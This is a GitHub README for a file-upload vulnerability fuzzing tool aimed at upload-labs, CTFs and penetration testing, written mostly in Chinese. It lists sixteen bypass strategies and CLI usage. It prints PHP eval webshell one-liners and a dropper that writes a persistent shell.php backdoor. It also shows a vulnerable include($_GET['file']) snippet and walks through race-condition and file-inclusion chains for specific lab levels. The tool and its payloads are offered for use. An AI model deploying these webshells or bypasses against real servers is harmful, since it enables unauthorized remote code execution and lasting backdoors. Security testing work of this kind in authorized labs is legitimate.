Skip to content

fewftybet/Upload_Auto_Fuzz

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Upload Auto Fuzz

GitHub Stars License Python Status Platform

Upload Auto Fuzz 是一款文件上传漏洞自动化 Fuzz 测试工具,通过智能生成变异 Payload 对目标上传接口进行批量测试,快速发现绕过姿势。支持 16 种绕过策略条件竞争模式文件包含链式利用多语言 WebShell 生成

适用于:渗透测试 | 安全审计 | CTF 比赛 | upload-labs 靶场练习

核心特性

  • 16 种 Fuzz 策略:后缀绕过、Content-Disposition 变异、Content-Type 伪造、大小写变换、双扩展名、空字节注入、特殊字符、编码绕过、WAF 绕过、Magic Bytes、Windows/Linux 特性、配置文件上传、WebShell 内容变异、save_name POST 参数绕过、save_path GET 参数绕过
  • 多语言支持:PHP / ASP / ASPX / JSP 全系列 WebShell 生成
  • 条件竞争模式:专为 upload-labs Pass-18 设计,高频并发上传 + 访问,利用文件删除时间窗口
  • 文件包含链式利用:利用靶场全局 /include.php 将上传文件作为 PHP 执行,不受扩展名限制
  • 智能响应分析:中英文关键词匹配,自动判定上传成功/失败/重定向/服务器错误
  • 模块化架构:低耦合设计,策略可独立扩展,新增策略仅需实现一个方法
  • 代理支持:配合 Burp Suite 进行详细请求分析
  • 试运行模式:生成 Payload 不发送,提前预览测试内容

项目结构

Upload_Auto_Fuzz-main/
├── main.py                          # 入口程序
├── include_bypass.py                 # 文件包含链式利用脚本 (Pass-11/18)
├── input/                            # 输入文件目录
│   ├── request.txt                   # 原始 HTTP 请求
│   └── payload.txt                   # 上传部分模板
├── output/                           # 输出目录 (自动创建)
├── upload_fuzz/                      # 核心模块包
│   ├── __init__.py
│   ├── core/                         # 核心模块
│   │   ├── __init__.py
│   │   ├── logger.py                 # 日志输出
│   │   ├── config.py                 # 配置管理
│   │   └── factory.py                # Payload 工厂
│   ├── strategies/                   # Fuzz 策略模块
│   │   ├── __init__.py
│   │   ├── base.py                   # 策略基类
│   │   ├── suffix.py                 # 后缀绕过
│   │   ├── content_disposition.py    # Content-Disposition 变异
│   │   ├── content_type.py           # Content-Type 伪造
│   │   ├── windows_features.py       # Windows 特性
│   │   ├── linux_features.py         # Linux 特性
│   │   ├── magic_bytes.py            # Magic Bytes
│   │   ├── null_byte.py              # 空字节注入
│   │   ├── encoding.py              # 编码绕过
│   │   ├── waf_bypass.py             # WAF 绕过
│   │   ├── config_files.py           # 配置文件上传
│   │   ├── webshell_content.py       # WebShell 内容
│   │   ├── special_chars.py          # 特殊字符
│   │   ├── case_variation.py         # 大小写变换
│   │   ├── double_extension.py       # 双扩展名
│   │   ├── save_name.py              # save_name POST 参数绕过
│   │   └── save_path.py              # save_path GET 参数绕过
│   ├── http/                          # HTTP 模块
│   │   ├── __init__.py
│   │   ├── parser.py                 # 请求解析
│   │   └── sender.py                 # 请求发送
│   ├── analysis/                      # 分析模块
│   │   ├── __init__.py
│   │   └── analyzer.py              # 响应分析
│   └── utils/                         # 工具模块
│       ├── __init__.py
│       ├── constants.py              # 常量定义
│       └── helpers.py                # 工具函数
├── README.md
├── .gitignore
└── requirements.txt

功能特性

  • 16 种 Fuzz 策略:后缀绕过、Content-Disposition 变异、Content-Type 伪造、大小写变换、双扩展名、空字节注入、特殊字符、编码绕过、WAF 绕过、Magic Bytes、Windows/Linux 特性、配置文件、WebShell 内容、save_name POST 参数绕过、save_path GET 参数绕过
  • 多语言支持:PHP / ASP / ASPX / JSP
  • 智能响应分析:自动判定上传成功/失败,支持中英文关键词匹配
  • 进度条显示:简洁的终端输出,进度条 + 错误计数
  • 调试模式:自动保存前 5 个响应包用于排查问题
  • 结果自动保存:疑似绕过的 Payload 保存到 output/ 目录
  • 模块化架构:低耦合设计,策略可独立扩展
  • 文件包含链式利用:通过 /include.php 将任意后缀的上传文件作为 PHP 执行

安装

pip install -r requirements.txt

快速开始

1. 准备请求文件

从 Burp Suite 或浏览器抓包,将原始 HTTP 请求保存为 input/request.txt

POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php

<?php @eval($_REQUEST['a']);?>
------WebKitFormBoundary--

2. 准备 Payload 模板

将上传部分的 multipart 内容保存为 input/payload.txt

Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php

<?php @eval($_REQUEST['a']);?>

3. 运行

# 使用默认文件 (input/request.txt + input/payload.txt)
python3 main.py

# 指定文件
python3 main.py -r myreq.txt -p mypay.txt

使用说明

命令行参数

参数 缩写 说明 默认值
--request -r 原始 HTTP 请求文件路径 input/request.txt
--payload -p 上传部分模板文件路径 input/payload.txt
--languages -l 目标后端语言 (php/asp/aspx/jsp) 全部
--output -o 测试结果输出文件 仅终端显示
--proxy 代理地址
--timeout 请求超时时间 (秒) 10
--delay 请求间隔 (秒) 0
--max-payloads 最大生成 Payload 数 2000
--dry-run 仅生成 Payload 不发送
--no-webshell 不包含 WebShell 内容
--enable-strategies 仅启用指定策略 全部启用
--disable-strategies 禁用指定策略
--follow-redirects 跟随 HTTP 重定向
--verbose -v 详细输出
--race-mode 条件竞争模式(Pass-18)
--race-threads 条件竞争并发线程数 20
--race-rounds 条件竞争上传轮数 50
--include 文件包含链式利用(Pass-11/18)

使用示例

# 基本用法
python3 main.py

# 指定请求和 Payload 文件
python3 main.py -r myreq.txt -p mypay.txt

# 仅测试 PHP
python3 main.py -l php

# 通过代理发送 (Burp Suite)
python3 main.py --proxy http://127.0.0.1:8080

# 限制数量 + 请求间隔
python3 main.py --max-payloads 100 --delay 0.5

# 仅生成 Payload 不发送 (试运行)
python3 main.py --dry-run

# 仅启用 save_name 和 save_path 策略
python3 main.py --enable-strategies save_name save_path

# 禁用特定策略
python3 main.py --disable-strategies webshell_content

# 结果输出到文件
python3 main.py -o output/result.txt

# 详细模式
python3 main.py -v

# 文件包含链式利用 (Pass-11/18)
python3 include_bypass.py
python3 include_bypass.py --level 11

16 种 Fuzz 策略

策略名 说明
suffix 后缀绕过 (php3/php4/php5/phtml/htaccess 等)
content_disposition Content-Disposition 字段变异
content_type Content-Type 伪造 (image/jpeg 等)
windows_features Windows 特性 (NTFS 流、短文件名等)
linux_features Linux 特性
magic_bytes 文件头 Magic Bytes 添加
null_byte 空字节注入 (%00)
double_extension 双扩展名 (.php.jpg)
case_variation 大小写变换 (.PhP)
special_chars 特殊字符绕过 (空格、点号、分号等)
encoding 编码绕过 (URL 编码、双编码等)
waf_bypass WAF 绕过 (分块传输、注释混淆等)
webshell_content WebShell 内容变异
config_files 配置文件上传 (.htaccess、web.config 等)
save_name save_name POST 参数注入绕过 (Pass-19/20)
save_path save_path GET 参数路径控制绕过 (Pass-11)

输出文件

所有输出文件保存在 output/ 目录下:

文件 说明
output/debug_responses.txt 前 5 个请求的完整响应包 (用于调试)
output/payloads_success.txt 疑似绕过的 Payload 详情
output/payloads_dry_run.txt 试运行模式下生成的全部 Payload

响应判定

判定 说明
LIKELY_SUCCESS 疑似上传成功
LIKELY_FAIL 疑似上传失败
REDIRECT 重定向
FORBIDDEN 403 禁止访问
SERVER_ERROR 服务器错误
CLIENT_ERROR 客户端错误
UNCLEAR 无法判定
No response 无响应

扩展策略

新增策略只需:

  1. upload_fuzz/strategies/ 下创建新文件
  2. 继承 FuzzStrategy 基类,实现 generate() 方法
  3. upload_fuzz/strategies/__init__.py 中导入
  4. upload_fuzz/core/factory.py_register_default_strategies 中注册

条件竞争模式(Pass-18)

--race-mode 专门用于测试条件竞争漏洞(如 upload-labs Pass-18)。

原理

服务器端逻辑:

  1. move_uploaded_file() 先将上传文件保存到目录
  2. 检查文件是否合法(后缀名等)
  3. 不合法则 unlink() 删除文件

竞争利用:在文件保存到被删除之间的极短窗口内,通过高频访问触发 PHP 执行。

使用的 WebShell

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>'); ?>

一旦被执行,会在当前目录创建持久的 shell.php 后门文件。

使用方式

# 基本用法(20线程 × 50轮)
python3 main.py --race-mode

# 自定义并发数和轮数
python3 main.py --race-mode --race-threads 50 --race-rounds 100

验证

成功后会自动验证:

  1. 检查 shell.php 是否存在(返回 200)
  2. POST 请求 shell.php 执行 echo "RACE_OK" 确认 PHP 可执行
  3. 成功则提示 shell.php 的 URL 连接信息

文件包含链式利用(Pass-11/18)

include_bypass.py 利用靶场全局 /include.php 文件包含漏洞,将上传文件作为 PHP 执行。

原理

/include.php 存在文件包含漏洞:

$file = $_GET['file'];
include $file;

无论上传文件后缀是什么(.jpg/.txt/.gif),include 均将文件内容作为 PHP 代码执行。

Pass-11 绕过

  1. ?save_path=../upload 控制上传目录
  2. 上传含 PHP 代码的 test.jpg
  3. include.php?file=upload/<timestamp>.jpg 包含执行
  4. PHP 代码创建持久化 shell.php

Pass-18 绕过

  1. 白名单(无 PHP)内上传 cmd.txt 含 PHP 代码
  2. include.php?file=upload<timestamp>.txt 包含执行
  3. PHP 代码 file_put_contents 创建 shell.php 后门

使用方式

# 测试 Pass-11 和 Pass-18
python3 include_bypass.py

# 仅测试 Pass-11
python3 include_bypass.py --level 11

# 仅测试 Pass-18
python3 include_bypass.py --level 18

验证

成功后自动验证:

  1. 包含执行返回 INCLUDE_OK
  2. shell.php 创建成功
  3. POST shell.php 执行 echo "SHELL_OK" 确认 PHP 可执行

注意事项

  • 本工具仅供授权安全测试使用,请勿用于非法用途
  • 建议先用 --dry-run 查看生成的 Payload,确认无误后再发送
  • 使用 --delay 参数控制请求频率,避免对目标造成过大压力
  • 通过 --proxy 参数配合 Burp Suite 等工具进行详细分析

相关推荐

Author

Diger_Young

项目地址: https://github.com/fewftybet/Upload_Auto_Fuzz

About

文件上传漏洞自动化 Fuzz 测试工具 | Automated File Upload Vulnerability Fuzzing & Bypass Tool

Topics

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages